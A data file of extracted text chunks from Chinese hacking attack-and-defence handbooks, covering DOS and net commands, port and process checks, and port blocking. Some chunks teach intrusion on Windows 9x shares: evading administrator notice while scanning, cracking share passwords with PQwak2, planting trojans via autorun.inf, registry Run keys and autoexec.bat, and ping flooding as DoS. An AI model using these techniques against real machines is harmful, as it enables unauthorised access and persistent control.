    {"text": "Scan Type（扫描类型） ，此图标下有两个选项，说明如下。  Scan Range——扫描范围，选中此项表示在右侧的 Scan Range 中手工填入目标网络 IP 范围。  Scan List——扫描列表文件，选中此项表示在右侧的 Scan List 中导入目标网络 IP 列表文件 （*.TXT），如图 2-31 所示。"},
    {"text": "注意：有必要说明一点，在本例中 IP 范围内填入的是“210. □.□.2”到“210. □.□.253”， 为什么不填入“210. □.□.0”到“210. □.□.255”呢？"},
    {"text": "这是因为“□.□.□.0”和“□.□.□.255” 是整个网络的“广播地址”，扫描这种地址极有可能造成整个网络的“广播风暴”，而“□.□.□.1” 或“□.□.□.254”这两个 IP 地址一般被分配给网关等关键节点使用，扫描该设备不但一无所获， 而且还会引起目标管理员的注意，对于信息搜集来说，这是得不偿失的。"},
    {"text": "在图 2-33 左侧窗口中选中共享资源，然后单击“Map Drive”（映射驱 动器） ，即可完成映射，如图 2-34 所示。 图 2-33 图 2-34 映射完成后，该共享资源就会以驱动器的形式出现在“我的电脑”中，如图 2-35 所示。"},
    {"text": "除了使用映射的方法来访问共享资源外，还可以通过 IE 浏览器来访问。 打开 IE 浏览器，在 地址栏中输入“\\\\server”或“\\\\server\\share”，便可以像访问 FTP 服务器那样来访问共享资源，如 图 2-36 所示。"},
    {"text": "图 2-35 图 2-36 2.2.3 破解 Windows 9x 共享密码 由于 Windows 9x 系统中存在共享密码校验漏洞，所以攻击者不需要密码就可以访问 Windows 9x 系统的共享资源。"},
    {"text": "在 IP 中填入目标主机的 IP、共享文件名，然后单击“Crack”按钮，大约几秒钟，就会在下 面显示出破解出的用户名（name）和密码，如图 2-40 所示。"},
    {"text": "对于某些光盘，当把它们放入光驱后，不需 要任何指示，该光盘中的程序会自动运行，这种功能就是靠光盘中的 autorun.inf 来实现的。 如果 在共享驱动器中建立 autorun.inf 文件，那么当管理员进入该驱动器的同时，不需要鼠标单击就会 自动执行 autorun.inf 指向的“可执行文件”。 按照同样的方法，当入侵者进入共享驱动器后，令 43 黑客攻防实战详解 autorun.inf 指向木马程序，从而实现控制目标主机。 Autorun.inf 的格式： [autorun] open = 路径\\可执行文件名 举个例子，如图 2-41 所示。 图 2-41 除了通过“autorun.inf ”文件来自动执行木马程序外，入侵者还常常通过“开机自动运行功能” 来执行木马。"},
    {"text": "为了方便用户快捷地打开这些程序，Windows 系统支持用户或安装程序来自定 义一些系统一启动便运行的程序，这里暂时把这种功能称为“开机自动运行功能” 。 一般可以通过 以下几个地方来设置“开机自动运行功能”程序：  开始→程序→启动菜单。"},
    {"text": " 注册表中的相应位置最常见的有： HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx 此外，如果入侵者能够获得有读写权限的共享磁盘，并且该磁盘为系统磁盘，他们就可以通 过修改启动菜单，autoexec.bat 文件及注册表来添加“开机自动运行程序”，即木马程序。"},
    {"text": "Windows 9x 与 Windows 2000 的启动组路径分别是：  Windows 9x 的启动组路径为 C:\\Windows\\Start Menu；  Windows 2000 的启动组路径为 C:\\Documents and Settings\\用户名\\「开始」菜单\\程序。"},
    {"text": "设置完毕后，每当该主机重新启动，都会自动执行该木马程序。 方法二：修改 autoexec.bat 文件（位于 C:\\下的隐藏文件），让系统每次开机的时候自动执行木 马程序。 例如，入侵者把木马程序（hack.exe）拷贝、粘贴到该主机的 C:\\windows 目录中，然后编辑 目标主机 autoexec.bat 文件，如图 2-42 所示。"},
    {"text": "2.2.6 安全解决方案 通过前面的介绍可知，如果共享资源设置不当，极有可能导致计算机被入侵者控制，下面列 出几条安全解决方案以供参考。"},
    {"text": "2．问：在什么情况下使用 PQwak2 破解共享资源密码不成功？ 答：如果目标主机使用的是没有打补丁的 Windows 9x 系列系统，那么使用 PQwak2 一定能够 破解出共享资源的密码。"},
    {"text": "由于共享资源的密码校验漏洞只存在于 Windows 9x 系列的系统中，所以 对于其他系统中有密码的共享文件夹除了使用“暴力破解”外，几乎没有更好的方法。"},
    {"text": "3．问：通过 PQwak2 破解出 Windows 98 共享资源密码，但当使用该密码进入共享文件后， 却只能读不能写，原因是什么？ 答：因为共享文件夹只开放了只读访问，或者是因为共享文件夹既有只读访问，又有完全访 问，但是这两个访问方式的密码不同，一般情况下，PQwak2 只能探测出只读访问的密码，而探测 不出完全访问的密码。"},
    {"text": "端口扫描是入侵者搜集信息 的几种常用手法之一，也正是这一过程最容易使入侵者暴露自己的身份和意图。 一般来说，扫描 端口有如下目的：  判断目标主机上开放了哪些服务；"},
    {"text": "2.3.1 网络基础知识 本书尽量避免使用较大篇幅来介绍理论知识，但为了让大家更透彻地了解入侵者的手段，这 里给大家介绍一些网络的基础知识。"},
    {"text": "端口是由计算机的通信协议 TCP/IP 协议定义的。 其中规定，用 IP 地址和端口作为套接字， 它代表 TCP 连接的一个连接端，一般称为 Socket。 具体来说，就是用[IP：端口]来定位一台主机 中的进程。 可以做这样的比喻，端口相当于两台计算机进程间的大门，可以随便定义，其目的只 是为了让两台计算机能够找到对方的进程。 计算机就像一座大楼，这个大楼有好多入口（端口） ， 进到不同的入口中就可以找到不同的公司（进程）。 如果要和远程主机 A 的程序通信，那么只要把 数据发向[A：端口]就可以实现通信了。 可见，端口与进程是一一对应的，如果某个进程正在等待连接，称之为该进程正在监听，那 么就会出现与它相对应的端口。 由此可见，入侵者通过扫描端口，便可以判断出目标计算机有哪 些通信进程正在等待连接。"},
    {"text": "① 熟知端口号（公认端口号）：由因特网指派名字和号码公司 ICANN 负责分配给一些常用的 应用层程序固定使用的熟知端口，其数值一般为 0～1023。"},
    {"text": "Cover 书名页 版权信息 图书在版编目（CIP）数据 黑客攻防技巧／黄波编著．—北京：电子工业出版社，2013.8 （随手查） ISBN 978-7-121-20973-4 Ⅰ．①黑… Ⅱ．①黄… Ⅲ．①计算机网络－安全技术 Ⅳ．①TP393.08 中国版本图书馆CIP数据核字（2013）第158106号 策划编辑：郝 微 责任编辑：鄂卫华 印 刷：中国电影出版社印刷厂 装 订：中国电影出版社印刷厂 出版发行：电子工业出版社 北京市海淀区万寿路173信箱 邮编100036 开本：710×1000 1/32 印张：7.5 字数：202千字 印次：2013年8月第1次印刷 定价：23.50元 凡所购买电子工业出版社图书有缺损问题，请向购买书店调换。若书店售缺，请与本社发行部联系，联系及邮购电话：（010）88254888。 质量投诉请发邮件至zlts@phei.com.cn，盗版侵权举报请发邮件至dbqq@phei.com.cn。 服务热线：（010）88258888。 内容简介 内容简介 本书以技巧的形式详细讲解了黑客攻击与防范的相关知识，主要内容包括：黑客基础知识、黑客常用命令、Windows系统安全防范、信息收集与漏洞扫描、密码攻防、远程控制攻防、网络攻防、木马攻防等知识。 本书在内容的安排上简化了理论知识介绍，突出实际操作，并精选了大量实用的操作技巧和经验，以条目式进行编排，方便查询和阅读。本书不仅适合喜爱黑客知识的初学者，更适合所有关心电脑及个人信息安全的用户。 本书的作用在于让读者能够对黑客知己知彼，从而保证个人电脑及信息安全，切勿使用黑客技术对他人电脑进行攻击，以免触犯相关法律。 未经许可，不得以任何方式复制或抄袭本书之部分或全部内容。 版权所有，侵权必究。 前言 前言 Preface 在电脑已经相当普及的今天，大多数人或多或少都掌握了一些电脑操作，然而在实际使用过程中，也会常常遇到各种各样技术性的问题，例如文件丢失了怎么办？系统盘空间不足了怎么办？电脑为何越来越慢？如何备份操作系统？等等，面对这些问题，我们很难在一本普通的电脑入门书籍中找到答案。 随手查系列丛书能帮助你在最短的时间内找到这些问题的答案，还能让你轻松、快速地掌握电脑多方面的应用技巧。无论你是电脑新手还是高手，本系列丛书都可以为你解答电脑操作中遇到的常见问题，让你快速掌握操作技巧。 本系列丛书在结构和编写上打破常规教程化的学习模式，以独立案例的形式分解常用知识点，更贴合读者的实际需求。本系列丛书主要特点如下： 内容实用，方便查询： 摒弃枯燥的理论介绍，精选读者最关心，平时经常遇到的问题以及实用技巧以一条一条的实例进行讲解，方便查询，利于掌握。 便于携带、印制精美： 本系列丛书采用32开本，便于随身携带，上班路上、工作时都可以随时查阅；双色印刷和精美的版式，能让你在学习中感觉更加轻松。 知识丰富、定价实惠： 丛书正文采用小五号字体，版式紧凑、内容丰富、物超所值。 本书由黄波编著，参与本书编写的人员还有姚康臣、罗亮、朱维、李彤、贾婷婷、刘霞、张陆忠、张欣、刘文敏、宗和长、张亚兰、叶飞、汪明、许丰台等。由于作者水平有限，书中难免存在不足之处，欢迎广大读者批评指正。 为了更好地服务读者朋友，如果在学习中遇到疑问，可发送电子邮件到haowei@phei.com.cn，我们会尽力为您解答。"},
    {"text": "第1章 黑客基础知识 第1章 黑客基础知识 1.1 黑客需要了解的基础知识 “黑客”一词最早源自英文“Hacker”，早期在电脑行业内是带有褒义的，泛指擅长IT技术、精通各种编程语言和系统的技术人员。"},
    {"text": "非破坏性攻击一般只是为了扰乱系统的运行，并不盗窃系统资料，通常采用拒绝服务攻击； 破坏性攻击是指以入侵他人电脑系统、盗窃用户信息、破坏数据为目的。"},
    {"text": "木马远程控制：黑客在网络中散布木马程序，如冰河木马、灰鸽子木马等，如果不小心中了木马，该电脑将成为黑客的“肉鸡”，此时黑客能够通过跟踪键盘输入等方式，窃取用户账户和密码等隐私信息，并可对电脑进行持续监控。"},
    {"text": "拒绝服务攻击（DoS）：是指黑客通过不断向目标发送一定体积的数据包，使目标不停地进行反馈，不断消耗网络带宽和系统资源，最终导致网络瘫痪、目标主机或服务器停止响应的攻击行为。"},
    {"text": "常用的IP地址为IPv4版本（IPv6是128位，本书中除非特别声明，否则均指IPv4），由32位二进制数组成，为了方便人们使用，采用点分十进制表示法表示，例如“192.168.0.2”、“202.152.128.56”等。 在操作系统中可以查看本机的IP地址，下面以Windows 7操作系统为例进行介绍。"},
    {"text": "01 在系统桌面上，使用鼠标右键单击“网络”图标，然后在弹出的快捷菜单中单击“属性”命令。 02 打开“网络和共享中心”窗口，在“查看活动网络”栏中单击要设置的网络连接名称，如“本地连接”。 03 在弹出的“本地连接状态”对话框中单击“属性”按钮。 04 弹出“本地连接属性”对话框，双击“此连接使用下列项目”列表框中的“Internet协议版本4（TCP/IPv4）”列表项。 05 在弹出的“Internet协议版本4（TCP/IPv4）属性”对话框中，选择“使用下面的IP地址”单选项，在文本框中依次输入本机的IP地址、子网掩码和默认网关，然后连续单击“确定”按钮保存设置即可。"},
    {"text": "很多电脑用户对系统中开启的端口并不了解，在需要关闭危险端口时显得不知所措，这时就需要想办法查看电脑中的端口。 在Windows操作系统中，我们可以使用netstat命令来查看电脑中端口的状态，具体操作如下。"},
    {"text": "02 在弹出的命令提示符窗口中输入“netstat-a-n”命令，按下“Enter”键，然后在接着出现的界面中即可查看当前电脑中端口的状态。 小提示 “netstat”命令的用法：其后加“-a”表示显示所有活动的连接，以及计算机监听的TCP和UDP端口；"},
    {"text": "例4 使用TCPView软件扫描端口 除了可以使用netstat命令查看端口外，还可以使用第三方软件来扫描系统中的端口，并通过扫描结果查看端口的状态。 这里以TCPView端口查看器为例进行介绍。 01 在网上搜索并下载TCPView软件，然后根据提示进行安装，有些版本为绿色版，可直接运行，功能上没有差别。 02 启动TCPView软件，在主界面的网络连接显示框中会显示所有进程的网络连接，包括病毒建立的由内到外的连接，并且会实时显示这些连接的动态变化，以及详细的网络连接参数信息，包括进程名、本地地址和端口号以及远程地址等信息。"},
    {"text": "03 在使用TCPView软件查看端口信息时，如果发现程序窗口中有不熟悉的进程名，并且这个进程名的连接数量非常多，变化频率也很快，这就说明这些连接很可能是病毒建立的恶意的由内到外的网络连接。"},
    {"text": "04 使用鼠标右键单击不明进程，在弹出的菜单中单击“结束进程”命令，结束病毒由内到外的网络连接，然后关闭前面记录下的端口即可（关闭端口的方法将在后面进行介绍）。 小提示 此外，QQ电脑管家、金山卫士、360安全卫士等安全辅助类软件都提供了网络监控查看功能，通过这类功能同样可以查看当前已建立的所有网络连接和已开启的端口。"},
    {"text": "例5 通过关闭系统服务来关闭端口 默认情况下，系统中开启了很多不安全的和无用的端口。 这类端口通常都是与系统中的某些服务相对应的，关闭相应的服务也就关闭了与其对应的端口。"},
    {"text": "01 在系统桌面左下角单击“开始”按钮，在“开始”菜单的搜索框中执行“services.msc”命令。 02 在打开的窗口中切换到“标准”视图模式，然后找到并双击“360杀毒全盘扫描辅助服务”项。 03 在打开的服务属性对话框中单击“启动类型”栏的下拉按钮，在弹出的菜单中单击“禁用”命令，然后单击“确定”按钮即可。 小提示 如果需要快速启动该服务，则在该对话框中单击“服务状态”栏的“启动”按钮即可。 启动该服务后也可单击“停止”按钮来关闭服务。"},
    {"text": "例6 通过IP安全策略限制端口 除了可以通过关闭或禁用系统服务来关闭端口外，还可以通过设置IP安全策略来限制相应的端口，以阻止他人访问该端口，下面以限制3389端口为例进行介绍。"},
    {"text": "02 打开“本地安全策略”窗口，单击左侧目录树中的“IP安全策略，在本地计算机”项，在右侧的空白处单击鼠标右键，然后在弹出的菜单中单击“创建IP安全策略”命令。"},
    {"text": "07 在弹出的对话框中单击对应的下拉按钮，将源地址设置为“任何IP地址”，将目标地址设置为“我的IP地址”，然后单击“确定”按钮。 08 在接着打开的对话框中单击“选择协议类型”栏的下拉按钮，将协议类型设置为“TCP”，然后在“设置IP协议端口”组合框中选中“从任意端口”单选项，在其下方再选中“到此端口”单选项，并在该选项下方的文本框中输入“3389”文本，然后单击“确定”按钮。"},
    {"text": "10 在返回的“新规则属性”对话框中选中新添加的IP筛选器，然后切换到“筛选器操作”选项卡，取消勾选“使用‘添加向导’”复选框，然后单击“添加”按钮。"},
    {"text": "11 在弹出的“筛选器操作属性”对话框中选中“阻止”单选项，然后单击“确定”按钮。 12 返回到“新规则属性”对话框，选中“新筛选器操作”选项，然后单击“关闭”按钮。 13 返回到“限制3389端口属性”对话框，勾选新添加的IP筛选器列表，然后单击“确定”按钮。"},
    {"text": "14 在返回的“本地安全策略”窗口中，右键单击新建的IP安全策略，在弹出的菜单中单击“分配”命令（Windows XP系统中应单击“指派”命令），然后重启电脑即可。"},
    {"text": "1.2 熟悉系统中的进程 操作系统运行时，进程是无处不在的，只要有程序运行就有进程。 病毒、木马等恶意程序也会以“进程”的形式来激活，因此经常被黑客利用。 例如许多电脑病毒就是通过伪装成系统进程运行在电脑中，进而破坏电脑系统的。 例1 查看系统中运行的进程 在电脑正常运行时，系统中的进程主要包括系统守护进程和用户启动的程序进程（用户进程）。 我们可以通过Windows任务管理器来查看系统中正在运行的进程，具体操作如下。"},
    {"text": "02 打开“Windows任务管理器”窗口后，切换到“进程”选项卡，即可看到当前系统中运行的进程，在“描述”栏可看到对应进程的介绍。 03 勾选“显示所有用户的进程”复选框，可以查看系统中所有正在运行的进程，包括系统守护进程。 小提示 同时按下“Ctrl＋Shift＋Esc”组合键可以快速打开“Windows任务管理器”窗口，使用Windows XP操作系统的读者同时按下“Ctrl＋Alt＋Delete”组合键也可打开任务管理器。"},
    {"text": "此时就需要借助其他一些工具来进行查看，这里主要介绍通过使用“ECQ-PS”进程管理工具对隐藏进程进行查看和关闭，具体操作如下。 01 在网上下载“ECQ-PS”软件，然后启动其主程序，在打开的程序窗口中可以看到系统中所有的进程。 双击某进程，可在右侧的窗格中看到该进程的详细信息。 02 在“ECQ-PS”软件窗口中，“类型”栏将显示进程的类型，对于一些不明的进程将显示为“可疑”类型，当确定其为危险程序时，可对其单击鼠标右键，然后在弹出的菜单中单击“强行结束进程”命令，关闭该进程。"},
    {"text": "例3 如何判断进程是否正常 对于一个普通电脑用户来说，想要完全了解系统进程是有难度的。 但是，不了解系统进程又无法辨别病毒和木马进程，这让很多用户感到非常头疼。"},
    {"text": "一般来说，刚装完操作系统时的进程是最干净的，很多用户也会通过重装系统来解决很多系统问题。 我们可以在刚装完系统时将进程信息记录下来，待怀疑有恶意进程时再拿出记录来对比，就能大致筛选出可疑进程，具体方法如下。 01 系统安装完成后或者在电脑正常运行时，单击系统桌面左下角的“开始”按钮 ，然后在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“系统工具”→“系统信息”菜单命令。 02 在打开的“系统信息”窗口中依次展开“软件环境”→“正在运行任务”目录，在右侧可以看到当前的进程信息，然后在菜单栏中依次单击“文件”→“导出”菜单命令。 03 在打开的“另存为”对话框中将进程信息另存为文本文件，然后单击“保存”按钮保存进程信息，待发现系统进程有异常时，打开该文本文件对比，然后关闭异常进程即可。"},
    {"text": "01 使用鼠标右键单击任务栏空白处，在弹出的菜单中单击“启动任务管理器”命令。 02 打开“Windows任务管理器”窗口后，切换到“进程”选项卡，选中要关闭的进程，然后单击“结束进程”按钮。 03 在弹出的对话框中单击“结束进程”按钮即可。 小提示 系统进程关联着系统的正常运行，如果误删了有用的进程，很可能导致系统出错。"},
    {"text": "svchost.exe：系统服务的宿主进程，如果有多个svchost.exe同时运行，表明当前有多组服务处于活动状态或多个系统文件正在调用它。 services.exe：系统服务管理进程。"},
    {"text": "例6 如何查杀顽固的病毒进程 在“Windows任务管理器”窗口中，某些病毒进程是无法使用选中后单击“结束进程”按钮来关闭的，此时就需要通过特殊的命令来执行关闭操作。 顽固的病毒进程可以使用“taskkill”命令＋PID值来关闭，具体操作如下。"},
    {"text": "02 在弹出的对话框中勾选“PID（进程标识符）”复选项，单击“确定”按钮，然后在返回的对话框中记录下可疑进程的PID值。 03 打开“命令提示符”窗口，在其中执行“taskkill/pid xxx（进程PID值）”命令，即可将对应的进程关闭。 此外，在使用“tasklist”命令查看系统进程时，也可以看到进程的PID值，记录需要关闭进程对应的PID值，然后在“命令提示符”窗口中执行“taskkill/pid xxx”命令（xxx表示进程对应的PID值）即可关闭对应的进程，例如，要关闭“QQ伴侣.exe”进程，而其对应的PID值为2660，则在“命令提示符”窗口中执行taskkill/pid 2660命令即可。"},
    {"text": "例7 怎样查看进程起始程序 在Windows任务管理器中关闭可疑进程，只是暂时终止该程序的运行，并不能将该程序彻底从电脑中清除，“治标不治本”。"},
    {"text": "在Windows 7和Windows XP系统中查看进程起始程序的方法有所不同，下面分别进行介绍。 1．在Windows 7中查看 在Windows 7系统中，我们可以使用Windows任务管理器来查看危险进程的起始程序，具体操作如下。"},
    {"text": "01 按下“Ctrl＋Shift＋Esc”组合键打开Windows任务管理器，切换到“性能”选项卡，然后单击“资源监视器”按钮。 02 打开“资源监视器”窗口，在“映像”列表框中勾选需要查看起始程序的进程，在下方展开“磁盘”栏，即可查看该进程的相关信息，“文件”列中会显示该进程的起始位置。"},
    {"text": "2．在Windows XP中查看 在Windows XP系统中，我们可以通过使用“Netstat-abnov”命令来查看危险进程的起始程序：在开始菜单中单击“运行”命令，在弹出的“运行”对话框中输入“cmd”命令。 在接着弹出的“命令提示符”窗口中输入“Netstat-abnov”命令，按下“Enter”键，在下方会显示出当前进程的详细信息，用户可根据这些信息查看进程对应的起始位置。"},
    {"text": "02 在打开的“命令提示符”窗口中输入如下命令“tasklist/s 192.168.1.20/u Administrator/p 000”，然后按下“Enter”键，即可显示远程电脑中运行的进程。 小提示 在上述输入的命令中“/s”参数后的“192.168.1.20”是要查看进程的远程电脑的IP地址；"},
    {"text": "例9 如何新建系统进程 如果支持系统正常运行的进程一旦被强制关闭，很可能导致系统无法正常工作，此时我们应该根据实际情况新建被误关闭的进程。"},
    {"text": "01 按下“Ctrl＋Shift＋Esc”组合键打开Windows任务管理器，在窗口中依次单击“文件”→“新建任务（运行…）”菜单命令。 02 在弹出的“创建新任务”对话框中，在“打开”文本框中输入要新建的进程，本例输入“Explorer.exe”，然后单击“确定”按钮即可。"},
    {"text": "第2章 黑客常用命令 第2章 黑客常用命令 2.1 基本DOS命令 Windows操作系统中的很多功能都是以DOS命令为基础的，熟练地掌握并善于运用DOS命令可以有效地帮助我们熟悉操作系统，也是成为黑客的第一步，本节就为读者介绍一些基本的DOS命令。"},
    {"text": "例1 使用dir命令显示目录 dir命令是Directory（目录）的缩写，是用来查看磁盘中文件和文件夹（目录）的命令，它的命令格式为：dir［磁盘盘符/文件名］/［参数］。 dir命令有很多参数，在其后直接跟“/磁盘盘符”可以浏览该磁盘下的文件目录。"},
    {"text": "小提示 部分参数后面还带有子选项，例“/A”参数后带有D、R、H、S等，这些子选项在使用时直接跟在参数后面即可，例如“/AH”表示只显示隐藏文件、“/OS”表示按大小排序，也可以写作“/ah”、“/os”，DOS系统环境下不区分大小写。"},
    {"text": "按照自己的需求使用对应的参数即可，例如，要查看E盘下的文件，可在“命令提示符”窗口中输入“dir e:”，然后按“Enter”键执行命令。 如果只需要查看E盘下的隐藏文件，就需要加上参数“/ah”，即执行“dir e:/ah”命令。 如果要查看当前目录下的文件，直接执行“dir”命令即可。"},
    {"text": "例2 使用cd命令切换目录 cd命令是Change Directory（改变目录）的缩写，使用该命令可以随时切换到任何一个目录中。 cd命令通常有三种用法，分别是“cd..”、“cd\\”和“cd目录路径”。 “cd..”：用于返回上一级目录，例如，当前的操作路径是“C:\\Users\\Administrator”，执行“cd..”命令后，会返回到“C:\\Users”目录下。 “cd\\”：用于返回当前操作目录的根目录，例如，当前的操作路径是“C:\\Users\\Administrator”，执行“cd\\”命令后会直接返回到C盘根目录下。 “cd目录路径”：在cd命令后加一个空格，然后指定目录名，可进入指定的目录。 但在执行此操作前，需要先进入指定分区，例如，要进入D盘下的“Program Files”目录，需要先执行“d:”命令，进入D盘，然后再执行“cd program fles”命令。 小提示 当需要更改磁盘分区盘符时，直接在命令提示符后输入磁盘盘符，然后按“Enter”键即可，例如当前路径是“C:\\Users\\Administrator”，执行“d：”命令后会切换到D盘根目录。"},
    {"text": "例3 使用md命令新建目录 md命令用于新建文件夹，其通常使用格式为：md［文件夹名称］。 例如，要在C盘根目录下新建一个名为“news”的文件夹，则可在“命令提示符”窗口中先进入C盘根目录，然后再在其中执行“md news”命令即可。 例4 使用rd命令删除目录 rd命令用于删除文件夹，其通常使用格式为：rd［文件夹名］。 例如，要删除C盘根目录下的“news”文件夹，则可在指定目录下执行“rd news”命令来完成，执行命令后如果系统无回复，则说明删除完成。"},
    {"text": "例如，要删除“F：\\娱乐\\music\\纯音乐”目录下的“卡农.mp3”文件，则可在“命令提示符”窗口中先进入到指定目录下，然后再执行“del卡农.mp3”命令即可，执行命令后，如果系统无回复，则说明删除成功。 小提示 在实际操作中，读者可在指定目录下执行“del*.txt”来删除当前目录下的所有扩展名为“.txt”的文件； 可在指定目录下执行“del*.*”命令来删除当前目录中的所有文件。"},
    {"text": "例6 你应知道的DOS快捷键 在使用Windows系统中的DOS命令提示符窗口时，使用一些快捷键，可以提高效率，这里列举一些在使用DOS命令提示符过程中常用的快捷键。"},
    {"text": "BackSpace或Ctrl＋H：删除光标左边的一个字符。 Esc：清除当前命令行。 Ctrl＋M：可实现同“Enter”键一样的回车操作。 Ctrl＋C或Ctrl＋Break：强行终止命令执行。 Alt＋PrintScreen：截取整个DOS命令提示符窗口，以图片方式保存到剪贴板中。"},
    {"text": "→或F1：自动填补上一次输入中的字符，执行一次，自动补上该位置上的字符并将光标向右移动一个字符，反复执行，可逐渐补全该命令。 ↑或F5：执行一次，可向前切换到上一次执行过的命令，如果已经是第一条执行的命令，则不进行切换操作。 此时按“↓”键，可向后切换命令。 F2：按该键后，根据左下图中的提示按下上一次输入中包含的字符（区分大小写），将从左到右自动补全命令字符，以符合条件的第一个指定字符为结束标志（不包含该指定字符）。 例如，上一次输入为“cd administrator”，按“F2”键后又按“r”键，系统自动输入“cd administ”，如右下图。 如果继续按“F2”键后按“r”键，当前提示符会变为“cd administrato”。 F3：自动输入上次输入的命令，如果已经输入一些字符，按此键后，则自动补全该命令中剩余的字符。 F6或Ctrl＋Z：输入结束符“^Z”，主要用于type命令之类需要保存数据的操作。 F7：显示命令历史记录，以图形列表窗口的形式列出所有曾经输入的命令，并可用上下箭头键选择再次执行该命令。 Alt＋F7：清除所有曾经输入的命令历史记录。 Tab：自动输入当前目录下的子文件夹名。 如果已经输入一些字符，会自动输入以这些字符为开头的文件夹名； 如有多个符合条件的子文件夹，再按“Tab”键，则输入下一个；"},
    {"text": "小提示 在“命令提示符”窗口中单击鼠标右键，在弹出的菜单中选择“标记”命令，接着用鼠标拖选要复制的内容，再次单击鼠标右键，即可将“命令提示符”窗口中选择的内容保存到剪贴板中。"},
    {"text": "对于黑客来说，这些网络命令是必须掌握的利器。 为帮助读者学习以及更深入地了解黑客知识，本节就为大家介绍一些常用网络命令的应用。 例1 使用ping命令测试网络 ping命令常被用来检查网络是否正常或通畅，是网络管理员或者黑客必须掌握的一个网络命令。"},
    {"text": "其原理是：当前主机给目标IP地址发送一个数据包，对方会反馈一个数据包，根据返回的数据包即可确定目标主机是否存在，进而初步判断网络状况是否良好。"},
    {"text": "02 如果要测试本机是否安装了TCP/IP协议，可在“命令提示符”窗口中执行“ping 127.0.0.1”或“ping＋空格＋本机的计算机名”命令，如果得到如下回复，说明已安装了该协议。 小提示 按照Windows默认设置，执行ping命令时会发送4个ICMP（网间控制报文协议）回送请求，每个大小为32字节，在正常情况下，会得到4个应答。 ping命令的时间量计算单位为ms（毫秒），时间量表示网速快慢。 03 在光标下输入“ping＋空格＋IP地址”，例如，要ping的电脑的IP地址为“192.168.1.121”，然后按下“Enter”键，则可查看与指定主机间的网络状况。 小提示 这里的IP地址可以是本机的，也可以是其他电脑的。 在探测远程主机时，也可以直接ping域名，例如，要测试是否可以连通新浪的主机，可执行“ping www.sina.com”。 在ping命令的实际应用中，可以根据实际情况添加对应的参数，来获取需要的信息，下面列举出ping命令的一些较常用参数及相关功能和含义。"},
    {"text": "-f：在数据包中设置“不分段”标志，默认情况下，主机发送的数据包都会通过路由分段再发送给对方，加上此参数以后路由就不会再对数据包进行分段处理。"},
    {"text": "但如果由多台主机同时对一个目标地址不间断发送体积大的数据包，这就会占用目标主机的网络资源，并导致其系统响应速度和网络速度逐渐变慢，这就是最简单的DoS攻击了。"},
    {"text": "它包含了管理网络环境、服务、用户、登录等Windows中大部分重要的管理功能。 使用它可以轻松地管理本地或者远程计算机的网络环境，以及各种服务程序的运行和配置，或者进行用户管理和登录管理等。"},
    {"text": "net view命令用于显示域列表、计算机列表或指定计算机的共享资源列表。 命令格式为：net view［computername｜/domain［:domainname］］。 输入不带参数的net view命令，可查看当前域的计算机列表。 net view命令的其他常用参数及其含义如下。"},
    {"text": "computername：指定要查看其共享资源的计算机名。 例如，执行“net view JAMES”命令，可查看名为JAMES的计算机上的共享资源列表。 domainname：指定要查看其可用计算机的域名。 例如，执行“net view/domain:WGUP”命令，可查看WGUP域中的机器列表。"},
    {"text": "net user［username［password｜*］［options］］［/domain］ username｛password｜*｝/add［options］［/domain］ username［/delete］［/domain］ username［/times:｛times｜all｝］ 输入不带参数的net user命令，可查看本机上的用户账户列表。"},
    {"text": "命令格式为：net use［devicename｜*］［\\\\computername\\sharename［volume］］［password｜*］［/user:［domainname］username］［/home［/delete］｜［/persistent:｛yes｜no｝］］。"},
    {"text": "03 在光标下执行“net accounts/minpwlen:7”命令后，则用户账户的密码必须设置为7位以上。 这里的数值“7”是可以改变的，用户可根据需要对账户密码的位数进行设置。"},
    {"text": "例6 使用net share命令管理共享资源 net share命令用于管理共享资源。 使用不带参数的net share命令可以显示本地计算机上所有的共享资源，在net share后跟“share name（共享名称）”可显示该共享的详细信息，命令格式为：net share＋空格＋share name。 为帮助读者更深入地了解net share命令，下面为大家介绍一些该命令常用的参数。"},
    {"text": "/cache:automatic：用于启用带自动重新集成的脱机客户缓存。 /cache:manual：用于启用带手动重新集成的脱机客户缓存。 /cache:no：用于提醒客户脱机缓存不合适。"},
    {"text": "例7 使用net start/stop命令管理服务 net start和net stop是一对逆操作，用于启动或停止指定的系统服务。 命令格式为：net start/stop［service］。 执行不带参数的net start命令，可以查看本机已启动的所有系统服务。 service参数是服务名称，例如执行“net start server”命令，可以启动“server”服务； 执行“net stop server”命令，可以停止“server”服务。"},
    {"text": "需要注意的是，所有net命令接受选项/yes和/no（可缩写为/y和/n），/y选项向命令产生的任何交互式提示自动回答“是”，而/n回答“否”。"},
    {"text": "例如，执行“net stop server”命令会提示确认要停止基于“server”服务的所有服务； 而执行“net stop server/y”命令会对该提示自动回答“是”，并直接关闭“server”服务。 小提示 net pause命令用于暂停正在运行的服务。"},
    {"text": "例8 认识net命令的其他常见参数 关于net命令常见的参数还有很多，这里不便一一介绍，下面简单介绍一下这些参数，读者可参考其他资料自行学习。"},
    {"text": "net config：显示正在运行的可配置服务，或者显示和更改服务器服务或工作站服务，命令格式：net config［｛server｜workstation｝］。 net continue：继续由net pause暂停的服务，命令格式：netcontinue service。"},
    {"text": "net help：提供可以获得帮助的网络命令和主题列表，或关于特定命令的信息。 使用不带参数的net help命可获得帮助的主题的列表，命令格式：net help［command］。"},
    {"text": "net localgroup：用于添加、显示或修改本地组。 命令格式：net localgroup［GroupName［/comment:\"text\"］］［/domain］。 使用不带参数的net localgroup命令可显示本机上的所有用户组名称。"},
    {"text": "例9 使用netstat命令查看网络连接信息 使用netstat命令可以查看活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息（对于IP、ICMP、TCP和UDP协议）以及IPv6统计信息（对于IPv6、ICMPv6、通过IPv6的TCP以及通过IPv6的UDP协议）。"},
    {"text": "-n：显示活动的TCP连接，不过，只以数字形式表现地址和端口号，却不尝试确定名称。 -o：显示活动的TCP连接并包括每个连接的进程ID（PID）。"},
    {"text": "在这种情况下，Protocol可以是tcp、udp、tcpv6或udpv6。 如果该参数与-s一起使用按协议显示统计信息，则Protocol可以是tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6或ipv6。"},
